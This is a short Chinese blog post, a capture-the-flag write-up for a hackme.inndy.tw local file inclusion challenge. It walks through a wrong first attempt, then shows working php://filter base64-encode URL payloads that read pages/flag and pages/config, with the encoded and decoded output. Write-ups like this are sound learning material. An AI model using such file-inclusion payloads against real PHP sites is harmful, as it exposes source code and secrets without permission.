hackme_LFI

//阅前须知:博主是小渣渣,本文仅为记录做题中学到的心智、反思自己的问题,行文不免啰嗦和有错,如果介意,请读者移步大佬们的博客

根据TIPs,可以知道,是利用文件包含漏洞,

显然payload:php://filter/resource=hint.php/read=convert.base64-encode(事实证明我错了、、)

问题是把payload提交到哪里去呢?

 

一开始的错误想法:

作者说到了“What's admin' password”,所以我想直接https://hackme.inndy.tw/lfi/?page=pages/login?password=php://filter/resource=hint.php/read=convert.base64-encode

然鹅错了、、

 

后来通过阅读源码,忽然发现自己误解了URL的格式

https://hackme.inndy.tw/lfi/?page=pages/login

我居然把?page=pages当成一个文件夹、、、太愚蠢了,

其实是pages/login(注意:不带.php!)作为一个整体,指明了文件目录,整体传给page

 

出现问题的原因:没有弄懂php://filter内部具体机理、、

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

这篇文章详细说到了php://filter协议

 

然后如此构造payload:

https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/flag

得到:

Q2FuIHlvdSByZWFkIHRoZSBmbGFnPD9waHAgcmVxdWlyZSgnY29uZmlnLnBocCcpOyA/Pj8K

 

然后base64解码:

Can you read the flag<?php require('config.php'); ?>?

 

同理构造payload:https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/config

得到一串字符串接着base64解码就得到flag了

 

posted @ 2018-10-08 14:15  明卿册  阅读(307)  评论(0编辑  收藏  举报